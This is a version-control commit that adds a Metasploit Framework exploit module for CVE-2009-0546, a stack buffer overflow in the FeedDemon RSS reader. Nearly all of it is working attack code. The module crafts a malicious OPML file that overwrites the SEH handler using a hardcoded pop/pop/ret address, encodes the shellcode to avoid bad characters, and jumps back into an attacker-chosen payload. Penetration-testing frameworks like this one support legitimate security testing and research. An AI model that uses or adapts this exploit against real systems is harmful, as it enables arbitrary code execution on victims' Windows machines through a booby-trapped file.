add exploit for cve-2009-0546

git-svn-id: file:///home/svn/framework3/trunk@9405 4d416f70-5f16-0410-b530-b9f4589650da
2010-06-03 05:10:45 +00:00 · 2010-06-03 05:10:45 +00:00 · 0a907a2e6f
parent 5c87771a89
commit 0a907a2e6f
1 changed files with 142 additions and 0 deletions
--- a/modules/exploits/windows/fileformat/feeddemon_opml.rb
+++ b/modules/exploits/windows/fileformat/feeddemon_opml.rb
@ -0,0 +1,142 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/projects/Framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = GreatRanking
+
+	include Msf::Exploit::FILEFORMAT
+	include Msf::Exploit::Seh
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'FeedDemon <= 3.1.0.12 Stack Buffer Overflow',
+			'Description'    => %q{
+					This module exploits a buffer overflow in FeedDemon v3.1.0.12. When the application
+				is used to import a specially crafted opml file, a buffer overflow occurs allowing
+				arbitrary code execution.
+
+				All versions are suspected to be vulnerable. This vulnerability was originally reported
+				against version 2.7 in February of 2009.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'fl0 fl0w',  # Original Exploit
+					'dookie',    # MSF Module
+					'jduck'      # SEH + AlphanumMixed fixes
+				],
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+					[ 'CVE', '2009-0546' ],
+					[ 'OSVDB', '51753' ],
+					[ 'BID', '33630' ],
+					[ 'URL', 'http://www.exploit-db.com/exploits/7995' ],
+					[ 'URL', 'http://www.exploit-db.com/exploits/8010' ],
+					[ 'URL', 'http://www.exploit-db.com/exploits/11379' ]
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'process',
+				},
+			'Payload'        =>
+				{
+					'Space'    => 1024,
+					'BadChars' => "\x0a\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xff",
+					'DisableNops' => true,
+					# We are not strictly limited to alphanumeric. However, currently
+					# no encoder can handle our bad character set.
+					'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
+					'EncoderOptions' =>
+						{
+							'BufferRegister' => 'ECX',
+						},
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					# Tested OK on XPSP3 - jduck
+					[ 'Windows Universal',
+						{
+							'Ret' => 0x00501655   # p/p/r in FeedDemon.exe v3.1.0.12
+						}
+					],
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => 'Feb 09 2009',
+			'DefaultTarget'  => 0))
+
+		register_options(
+			[
+				OptString.new('FILENAME', [ false, 'The file name.', 'msf.opml']),
+			], self.class)
+
+	end
+
+	def exploit
+
+		head_opml = '<opml version="1.1">'
+		head_opml << '<body>'
+		head_opml << '<outline text="'
+
+		header = "\xff\xfe" # Unicode BOM
+		header << Rex::Text.to_unicode(head_opml)
+
+		foot_opml = '">'
+		foot_opml << '<outline text="BKIS" title="SVRT" type="rss" xmlUrl="http://milw0rm.com/rss.php"/>'
+		foot_opml << '</outline>'
+		foot_opml << '</body>'
+		foot_opml << '</opml>'
+		footer = Rex::Text.to_unicode(foot_opml)
+
+		# Set ECX to point to the alphamixed encoded buffer (IIIII...)
+		# We use an offset from esp, while avoiding bad chars
+		off = 0x410
+		set_ecx_asm = %Q|
+			push esp
+			pop ecx
+			add ecx, #{0x01010101 + off}
+			sub ecx, 0x01010101
+		|
+		set_ecx = Metasm::Shellcode.assemble(Metasm::Ia32.new, set_ecx_asm).encode_string
+
+		# Jump back to the payload, after p/p/r jumps to us.
+		# NOTE: Putting the jmp_back after the SEH handler seems to avoid problems with badchars..
+		# 8 for SEH.Next+SEH.Func, 5 for the jmp_back itself
+		distance = 0x1ffd + 8 + 5
+		jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
+
+		# SEH
+		seh_frame = generate_seh_record(target.ret)
+
+		# Assemble everything together
+		sploit = ''
+		sploit << set_ecx
+		sploit << payload.encoded
+		sploit << rand_text_alphanumeric(8194 - sploit.length)
+		sploit << seh_frame
+		sploit << jmp_back
+		sploit << rand_text_alphanumeric(8318 - sploit.length)
+		# Ensure access violation reading from smashed pointer
+		num = rand_text(4).unpack('V')[0]
+		sploit << [num | 0x80000000].pack('V')
+
+		evil = header + sploit + footer
+
+		print_status("Creating '#{datastore['FILENAME']}' file ...")
+
+		file_create(evil)
+
+	end
+
+end